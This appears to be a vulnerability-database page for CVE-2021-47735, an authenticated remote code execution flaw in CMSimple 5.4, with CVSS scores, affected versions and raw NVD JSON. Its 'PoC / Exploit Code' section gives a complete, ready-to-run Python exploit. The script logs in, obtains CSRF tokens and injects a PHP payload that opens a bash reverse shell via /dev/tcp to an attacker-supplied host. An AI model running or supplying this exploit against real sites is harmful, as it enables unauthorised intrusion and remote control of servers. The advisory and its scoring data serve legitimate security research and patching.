Security Vulnerability Report
中文
CVE-2021-47735 CVSS 8.8 HIGH

CVE-2021-47735

Published: 2025-12-23 20:15:45
Last Modified: 2025-12-31 21:43:14

Description

CMSimple 5.4 contains an authenticated remote code execution vulnerability that allows logged-in attackers to inject malicious PHP code into template files. Attackers can exploit the template editing functionality by crafting a reverse shell payload and saving it through the template editing endpoint with a valid CSRF token.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:cmsimple:cmsimple:5.4:*:*:*:*:*:*:* - VULNERABLE
CMSimple 5.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2021-47735: CMSimple 5.4 Authenticated RCE via Template Editing # Author: VulnCheck import requests import re import sys def get_csrf_token(session, target_url): """Fetch CSRF token from the target""" response = session.get(f"{target_url}/?($1)/admin.php") match = re.search(r'name="[^"]*csrf[^"]*"\s+value="([^"]+)"', response.text) if match: return match.group(1) return None def exploit_cmsimple(target_url, username, password, attacker_ip, attacker_port): """Exploit CVE-2021-47735""" session = requests.Session() # Step 1: Login to CMSimple login_url = f"{target_url}/?($1)/admin.php" csrf_token = get_csrf_token(session, target_url) if not csrf_token: print("[-] Failed to get CSRF token") return False login_data = { 'user': username, 'password': password, 'login': 'Login', 'csrf': csrf_token } response = session.post(login_url, data=login_data) if 'logout' not in response.text.lower(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Prepare reverse shell payload php_payload = f"<?php system('bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'); ?>" encoded_payload = php_payload.replace(' ', '%20').replace('&', '%26') # Step 3: Get new CSRF token for template editing csrf_token = get_csrf_token(session, target_url) # Step 4: Inject malicious PHP code via template editing template_url = f"{target_url}/?($1)/admin.php" template_data = { 'action': 'save_template', 'file': 'template.htm', 'content': encoded_payload, 'csrf': csrf_token } response = session.post(template_url, data=template_data) if response.status_code == 200: print("[+] Malicious code injected successfully") print(f"[*] Trigger by accessing: {target_url}/templates/template.htm") return True else: print("[-] Failed to inject code") return False if __name__ == "__main__": if len(sys.argv) < 6: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <attacker_ip> <attacker_port>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] lhost = sys.argv[4] lport = sys.argv[5] exploit_cmsimple(target, user, pwd, lhost, lport)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47735", "sourceIdentifier": "[email protected]", "published": "2025-12-23T20:15:45.277", "lastModified": "2025-12-31T21:43:13.570", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CMSimple 5.4 contains an authenticated remote code execution vulnerability that allows logged-in attackers to inject malicious PHP code into template files. Attackers can exploit the template editing functionality by crafting a reverse shell payload and saving it through the template editing endpoint with a valid CSRF token."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cmsimple:cmsimple:5.4:*:*:*:*:*:*:*", "matchCriteriaId": "7AE7406C-886F-4F06-B668-90EB220AFA5C"}]}]}], "references": [{"url": "https://www.cmsimple.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/50356", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.vulncheck.com/advisories/cmsimple-authenticated-remote-code-execution-via-template-editing", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}